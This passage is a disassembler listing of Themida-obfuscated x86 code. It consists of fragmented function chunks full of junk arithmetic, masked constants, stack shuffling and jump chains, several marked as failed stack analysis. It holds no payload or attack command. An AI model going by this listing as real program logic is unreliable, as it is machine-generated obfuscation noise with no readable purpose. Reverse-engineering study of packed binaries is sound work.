CHUNK FOR sub_568764 loc_5632E0: ; CODE XREF: sub_568764+BB1Ej push 661A1129h mov edi, [esp+4+var_4] add esp, 4 xor edi, 661A1129h push edx mov edx, edi mov ebx, edx pop edx pop edi add ebx, 1612636Ah add ebx, edx sub ebx, 1612636Ah push edx mov edx, 0 sub edx, 3962073Bh jmp loc_571F0F ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_563317: ; CODE XREF: sub_563FA2-2BAEj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_563FA2 ; =============== S U B R O U T I N E ======================================= sub_56331C proc near ; CODE XREF: sub_5750DE-7436j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00560A69 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056B3B6 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056C1F0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057284D SIZE 00000017 BYTES push ebx mov ebx, 0E73DD1B1h add edx, ebx pop ebx mov ecx, edx pop edx jmp loc_56C1F0 sub_56331C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_56332D: ; CODE XREF: sub_56F1DB+327j push eax push esp pop eax push ebp mov ebp, 4 add eax, 35CF10B6h jmp loc_56ADBE ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C295 loc_563340: ; CODE XREF: sub_56C295+2706j mov eax, 4229771Eh xor eax, 48CE4DE5h add eax, 0F518C509h mov ebp, eax jmp loc_561033 ; END OF FUNCTION CHUNK FOR sub_56C295 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_563356: ; CODE XREF: sub_572141-2A34j sub eax, 3A0F172Ah xor eax, 24F35749h neg eax sub eax, 1B52432Dh sub eax, 7408B1A2h add ebp, eax pop eax add ebp, 7CBB7631h add ebp, ecx sub ebp, 7CBB7631h sub ebp, 75F5647Fh jmp loc_56B206 ; END OF FUNCTION CHUNK FOR sub_572141 ; =============== S U B R O U T I N E ======================================= sub_563388 proc near ; CODE XREF: sub_570F82-1789j push ebp mov ebp, esi mov edi, ebp pop ebp pop esi mov eax, 52413E11h sub eax, edi pop edi push edi mov edi, 1EA11871h jmp sub_570B3C sub_563388 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_5633A2: ; CODE XREF: sub_563819+5268j push esp push [esp+4+var_4] pop ebx jmp loc_573FAB ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5633AC: ; CODE XREF: sub_561418+10C27j neg ecx not ecx xor ecx, 0EF48A1DFh mov edx, ecx pop ecx xor edx, 70083A41h and edx, 53143D3Ch xor edx, 2141D08h add ecx, edx mov edx, [esp+1Ch+var_1C] add esp, 4 add ecx, 4 xchg ecx, [esp+18h+var_18] pop esp mov eax, ebx mov ebx, [esp+14h+var_14] add esp, 4 shl eax, cl push 6A7Eh mov [esp+14h+var_14], esi jmp loc_57181A ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_5633F7: ; CODE XREF: sub_574304-254Ej add edi, 5B97AE9h jmp loc_56F9D1 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_563402: ; CODE XREF: sub_567CF5+4j push 6666h mov [esp+4+var_4], edx mov edx, esp push ebp mov ebp, 53733015h jmp loc_56D3C6 ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_563417: ; CODE XREF: sub_560EA2+473Fj mov ebx, 655B651Ah sub eax, ebx pop ebx sub eax, 3C2B7938h push ebp jmp sub_571C93 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569D5F loc_56342A: ; CODE XREF: sub_569D5F+CFCj mov ebp, esp add ebp, 4 sub ebp, 2 xchg ebp, [esp+4+var_4] pop esp jmp loc_56A416 ; END OF FUNCTION CHUNK FOR sub_569D5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E05C loc_56343E: ; CODE XREF: sub_56E05C-D7D2j pop [esp+8+var_8] mov esp, [esp+4+var_4] jmp loc_56729E ; END OF FUNCTION CHUNK FOR sub_56E05C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_563449: ; CODE XREF: sub_564020+386j add ebx, 2E3322D5h jmp loc_56165D ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_563454: ; CODE XREF: sub_569CBC-11Bj add edx, ebx add edx, 59596094h pop ebx sub edx, 4 xchg edx, [esp+4+var_4] jmp loc_574EFE ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_56346B: ; CODE XREF: sub_572075+C02j mov ebx, edx push ebx add [esp+18h+var_18], 772F4CEBh mov ecx, [esp+18h+var_18] add esp, 4 sub ecx, 772F4CEBh mov ebx, [esp+14h+var_14] add esp, 4 pop edx neg ecx sub ecx, 6F03116h jmp loc_56996F ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5681F5 loc_563498: ; CODE XREF: sub_5681F5-2E77j or eax, ebx push [esp+4+var_4] mov ebx, [esp+8+var_8] add esp, 4 jmp loc_5752F2 ; END OF FUNCTION CHUNK FOR sub_5681F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5634A8: ; CODE XREF: sub_5678CB-119j inc edx push ebx jmp loc_56FC02 ; END OF FUNCTION CHUNK FOR sub_5678CB ; =============== S U B R O U T I N E ======================================= sub_5634AF proc near ; CODE XREF: sub_566C83+411Aj var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00562CA5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056380C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005645C5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056557F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00565669 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005656A0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00566AD5 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005692A3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056C11D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00570D9C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00570EFE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00571175 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00574606 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005753E4 SIZE 00000012 BYTES sub esp, 4 mov [esp+0], ebp mov ebp, esp jmp loc_570D9C sub_5634AF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574C6D loc_5634BF: ; CODE XREF: sub_574C6D+6j add edx, ebx pop ebx pop esi push edi mov edi, 2 sub edx, 6781BABh sub edx, 75F43FE8h add edx, edi add edx, 75F43FE8h add edx, 6781BABh pop edi jmp loc_56AD1A ; END OF FUNCTION CHUNK FOR sub_574C6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5729F9 loc_5634E9: ; CODE XREF: sub_5729F9-3328j mov dl, 73h push 59Dh mov [esp+6+var_6], ebx push eax jmp loc_56F7D4 ; END OF FUNCTION CHUNK FOR sub_5729F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567C58 loc_5634F9: ; CODE XREF: sub_567C58+31CFj or esi, eax pop eax xor esi, 4107565Ah neg esi shl esi, 7 xor esi, 23D00174h sub eax, esi pop esi mov ebp, [esp+0Ch+var_C] add esp, 4 jmp loc_56BC61 ; END OF FUNCTION CHUNK FOR sub_567C58 ; =============== S U B R O U T I N E ======================================= sub_56351E proc near ; CODE XREF: sub_5692D3+4F2Aj var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0056371D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005668C4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00568F7B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A0B8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056AAF2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056C30A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00572548 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00572D00 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00572EC6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005742B1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00574E46 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0057530D SIZE 00000008 BYTES push ebp mov ebp, 6052475Fh xor ebp, 7CB352Dh mov ebx, ebp pop ebp jmp loc_56C30A sub_56351E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_563532: ; CODE XREF: sub_574F16-985Aj push eax mov eax, esp jmp loc_570474 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_56353A: ; CODE XREF: sub_564BC5+6j mov [esp+4+var_4], edi mov edi, esp push edx push eax push 0E40D31h jmp loc_563AFA ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5715F0 loc_56354B: ; CODE XREF: sub_5715F0-5FE8j mov [esp-4+arg_0], ebx push esp pop ebx jmp loc_561935 ; END OF FUNCTION CHUNK FOR sub_5715F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0B0 loc_563555: ; CODE XREF: sub_56E0B0-D765j not edx or edx, 6483500Eh push esi mov esi, 76600808h add esi, 54461FCFh jmp loc_569845 ; END OF FUNCTION CHUNK FOR sub_56E0B0 ; =============== S U B R O U T I N E ======================================= sub_56356E proc near ; CODE XREF: sub_56DAB2+55F0j push ebp push edi push 573F6FBAh pop edi jmp sub_5685B2 sub_56356E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57377E loc_56357B: ; CODE XREF: sub_57377E-5A79j mov [esp+4+var_4], edx jmp loc_568AB1 ; END OF FUNCTION CHUNK FOR sub_57377E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575315 loc_563583: ; CODE XREF: sub_575315-6016j add ebx, ebp mov ebp, [esp+0] add esp, 4 jmp loc_566EF0 ; --------------------------------------------------------------------------- loc_563593: ; CODE XREF: sub_575315-2B6Ej pop ecx push ebp mov ebp, 7BA7152Dh push ecx mov ecx, 364F5AEEh inc ecx jmp loc_5628AD ; END OF FUNCTION CHUNK FOR sub_575315 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_5635A6: ; CODE XREF: sub_5638E4+193Fj push small word ptr [eax] jmp loc_570AA4 ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_5635AE: ; CODE XREF: sub_574AF3-2052j push esp pop edi add edi, 4 add edi, 4 jmp loc_572BF7 ; END OF FUNCTION CHUNK FOR sub_574AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_5635BE: ; CODE XREF: sub_564D26+684Cj pop ebp push esi mov esi, 58C7196Dh or ebp, esi mov esi, [esp+1Ch+var_1C] add esp, 4 push eax mov eax, 21E76B1Eh neg eax sub eax, 46305BDEh not eax sub eax, 0ED208710h sub ebp, eax pop eax sub edx, 29762EA0h add edx, ebp jmp loc_566431 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- loc_5635F1: ; CODE XREF: Themida_:0056BD29j pop ecx push ebx mov ebx, 4 add ecx, 6D94027Fh add ecx, ebx sub ecx, 6D94027Fh pop ebx add ecx, 4 xchg ecx, [esp] jmp loc_57077F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_563612: ; CODE XREF: sub_5753A5-590Aj push edx push esp pop edx jmp loc_567758 ; END OF FUNCTION CHUNK FOR sub_5753A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56361A: ; CODE XREF: sub_56616D+D9D7j mov [esp-10h+arg_C], edx mov eax, [esp-10h+arg_C] add esp, 4 jmp loc_56906B ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_56362B: ; CODE XREF: sub_574CDD-B8F6j mov esp, [esp+0] imul ecx push 4455h mov [esp-8+arg_4], edx push eax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56363F: ; CODE XREF: sub_564D26+A0ECj mov ebp, 7D9F2493h or ebp, 9AD2F7Ch and ebp, 623439FDh jmp loc_56011F ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_563655: ; CODE XREF: sub_563DCB+6F7Fj not ch mov al, ch pop cx xchg al, cl push 128Ah jmp loc_56AEC2 ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_563667: ; CODE XREF: sub_566117+C898j push esp pop esi add esi, 4 add esi, 4 push 2E5Dh mov [esp+4+var_4], esi push dword ptr [esp+4] jmp loc_56745A ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_563683: ; CODE XREF: sub_570621-402Ej pop ecx add edx, 576B2DA2h inc edx neg edx xor edx, 654C3488h xor edx, 0C2806F39h add edi, edx jmp loc_56859E ; END OF FUNCTION CHUNK FOR sub_570621 ; --------------------------------------------------------------------------- loc_5636A0: ; CODE XREF: Themida_:00563D38j add esp, 4 mov ebp, edx pop edx xor ebx, ebp jmp loc_5740FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_5636AD: ; CODE XREF: sub_567D31+6861j pop ebx jmp loc_5621C6 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_5636B3: ; CODE XREF: sub_569193-130Dj add esp, 4 add esp, 4 and eax, ebx push dword ptr [esp+0] push [esp+4+var_4] jmp loc_56AFB5 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575315 loc_5636CC: ; CODE XREF: sub_575315+7j or ebx, 1B9C727Dh sub ebx, 672B6B14h sub ebx, 33D07782h inc ebx sub ebx, 82D95AC2h xor ecx, ebx jmp loc_56D2ED ; END OF FUNCTION CHUNK FOR sub_575315 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_5636EC: ; CODE XREF: sub_574CBE+1j push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 sub ecx, 2E7B6DDEh sub ecx, ebp add ecx, 2E7B6DDEh pop ebp push ecx push [esp+8+var_4] jmp loc_56AEDE ; END OF FUNCTION CHUNK FOR sub_574CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_563714: ; CODE XREF: sub_56FB8A-A71Dj mov dx, word ptr [esp+4+var_4] jmp loc_56ED53 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_56371D: ; CODE XREF: sub_56351E+10D98j mov [esp+0], esi push 0B57h mov [esp+4+var_4], eax push edi mov edi, 10C26E4Eh jmp loc_568F7B ; END OF FUNCTION CHUNK FOR sub_56351E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_563733: ; CODE XREF: sub_5620B7+8792j mov ecx, [esp+4+var_6+2] add esp, 4 add al, bh push dword ptr [esp+0] pop ebx jmp loc_5655A0 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_563744: ; CODE XREF: sub_56E126+1642j xor ecx, 7112CAFCh xor esi, ecx pop ecx jmp loc_56EAD3 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56264C loc_563752: ; CODE XREF: sub_56264C+12B52j add ecx, 4 add ecx, 4 xchg ecx, [esp+8+var_8] jmp loc_572CCA ; END OF FUNCTION CHUNK FOR sub_56264C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_563763: ; CODE XREF: sub_56AB5E+1F47j xor edi, 5748503Ch xor ecx, edi pop edi xor ebp, ecx pop ecx mov ebx, ebp pop ebp add [esp+0Ch+var_8], 71E30048h sub [esp+0Ch+var_8], ebx sub [esp+0Ch+var_8], 71E30048h jmp loc_56D818 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56378B: ; CODE XREF: sub_5685B2+7F47j sub ebp, ecx jmp loc_574ED2 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56671D loc_563792: ; CODE XREF: sub_56671D-5535j xor ebx, [esp+4+var_4] mov esp, [esp+4+var_4] add al, 0B6h add al, 0D9h jmp loc_569F52 ; END OF FUNCTION CHUNK FOR sub_56671D ; =============== S U B R O U T I N E ======================================= sub_5637A1 proc near ; CODE XREF: sub_5726FB-23Dj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00562731 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00562EFE SIZE 00000013 BYTES sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 push [esp+4+var_4] push [esp+8+var_8] pop edx add esp, 4 jmp loc_562731 sub_5637A1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_5637C0: ; CODE XREF: sub_57523A-D3A7j mov edi, eax mov esi, edi pop edi pop eax jmp loc_56ECC4 ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3B7 loc_5637CB: ; CODE XREF: sub_56D3B7+2E84j add esi, ebx pop ebx jmp loc_569AD5 ; END OF FUNCTION CHUNK FOR sub_56D3B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_5637D3: ; CODE XREF: sub_56628B+1B10j push edi mov edi, 352B51E2h jmp loc_569742 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5637DE: ; CODE XREF: sub_5685B2+C931j xor edx, ebp jmp loc_561AB7 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_5637E5: ; CODE XREF: sub_56B06D+4j mov ecx, 767E3198h sub [esp+10h+var_C], ecx pop ecx push [esp+0Ch+var_C] mov ecx, [esp+10h+var_10] add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+10h+var_10] jmp loc_574A50 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_56380C: ; CODE XREF: sub_5634AF+11179j add edx, eax add edx, 6B1D33D1h jmp loc_565669 ; END OF FUNCTION CHUNK FOR sub_5634AF ; =============== S U B R O U T I N E ======================================= sub_563819 proc near ; CODE XREF: sub_5687A3+15B7j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00560A5F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00560DE7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056175C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056260C SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005630B5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005633A2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005639CA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00567C36 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00568A79 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00568E23 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00569750 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056DF7F SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00570A0D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00570CAD SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00571D5A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005723CB SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005734FB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00573FAB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005743BF SIZE 00000009 BYTES push ebp mov ebp, 1C046405h jmp loc_560DE7 sub_563819 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_563824: ; CODE XREF: sub_563A7F+8DEEj add esp, 4 jmp loc_56EB42 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_56382C: ; CODE XREF: sub_571F6F-B58Aj push ecx push eax mov ah, 97h mov ch, 24h jmp loc_5711E7 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564CDA loc_563837: ; CODE XREF: sub_564CDA-FEBj pop eax and eax, ebp mov ebp, [esp-4+arg_0] jmp sub_56B11B ; END OF FUNCTION CHUNK FOR sub_564CDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_563842: ; CODE XREF: sub_569A84+A395j pop ecx jmp loc_5711B7 ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- loc_563848: ; CODE XREF: Themida_:00562406j xchg ecx, [esp] jmp loc_569173 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561979 loc_563850: ; CODE XREF: sub_561979+17ECj xor eax, 523E22E8h dec eax shr eax, 5 add eax, 0FC1850ACh add esi, eax pop eax jmp loc_56FB34 ; END OF FUNCTION CHUNK FOR sub_561979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_563866: ; CODE XREF: sub_56AB5E+1E9Fj push small 7181h mov word ptr [esp+6+var_8+2], ax mov ah, 0E7h jmp loc_5660D9 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_563875: ; CODE XREF: sub_56102D-74Fj mov edx, 4 mov edi, edx jmp loc_569DC3 ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_563881: ; CODE XREF: sub_56E126-5405j pop eax push esi jmp loc_562B36 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_563888: ; CODE XREF: sub_561541+5C0Cj mov eax, esp add eax, 4 add eax, 4 jmp loc_573735 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_563897: ; CODE XREF: sub_574CDD-7132j push eax mov eax, 50751C74h dec eax add eax, 715F4E77h neg eax jmp loc_56A4F5 ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- loc_5638AA: ; CODE XREF: Themida_:00571754j movzx cx, ah push small 30F1h mov [esp], cx movzx cx, al jmp loc_5662E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_5638BF: ; CODE XREF: sub_570732-2939j push edx push eax mov eax, 62D65919h sub eax, 5FE4451Fh or eax, 0BA61946h not eax sub eax, 0F1B56E4Fh mov edx, eax pop eax add edi, edx mov edx, [esp+14h+var_14] jmp loc_569E7C ; END OF FUNCTION CHUNK FOR sub_570732 ; =============== S U B R O U T I N E ======================================= sub_5638E4 proc near ; CODE XREF: sub_5731F9+1C9Bj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005614DA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005635A6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00564679 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00564919 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00564E1C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056521C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00565EB9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056B599 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056BA49 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056CE4E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D973 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056F69A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056F93F SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00570693 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00570AA4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00575404 SIZE 00000008 BYTES sub esp, 4 jmp loc_56CE4E sub_5638E4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_5638EC: ; CODE XREF: sub_569193+2E2Fj mov esp, [esp+4+var_4] jmp loc_56A35D ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_5638F4: ; CODE XREF: sub_571890-A88Aj sub ecx, 204E1209h sub ecx, 22082967h add ecx, ebp add ecx, 22082967h jmp sub_56657A ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56390D: ; CODE XREF: sub_56CC46+6j pop eax add esp, 4 push esi jmp loc_5650C9 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_563917: ; CODE XREF: sub_56B06D+25C2j mov edi, 0A1C648Bh push ecx mov ecx, 421430Ch add edi, ecx pop ecx jmp loc_569503 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560D31 loc_56392A: ; CODE XREF: sub_560D31+7F2Cj mov ah, bl jmp loc_573B7D ; END OF FUNCTION CHUNK FOR sub_560D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_563931: ; CODE XREF: sub_568764+6E45j push [esp+4+var_4] mov edx, [esp+8+var_8] push ecx mov ecx, esp push ebx mov ebx, 4 jmp loc_56B936 ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E05C loc_563945: ; CODE XREF: sub_56E05C-91E4j inc edi jmp loc_5740AC ; END OF FUNCTION CHUNK FOR sub_56E05C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56394B: ; CODE XREF: sub_56616D+9852j pop edi add esi, 4 xor esi, [esp+0] jmp loc_56AA15 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56395A: ; CODE XREF: sub_574304-3246j mov edx, [esp+0Ch+var_C] add esp, 4 push esi xor [esp+0Ch+var_C], 20D24751h mov ecx, [esp+0Ch+var_C] jmp loc_571C80 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569B75 loc_563973: ; CODE XREF: sub_569B75+332j xor ebp, 44132928h shl ebp, 7 add ebp, 1A9B736Eh jmp loc_571408 ; END OF FUNCTION CHUNK FOR sub_569B75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_563987: ; CODE XREF: sub_5685B2+3B02j push edx mov dl, 3Dh jmp loc_5617E0 ; --------------------------------------------------------------------------- loc_56398F: ; CODE XREF: sub_5685B2+9j push 6BE34431h pop esi push ecx push edx push ebp mov ebp, 7F511F39h jmp loc_561E61 ; END OF 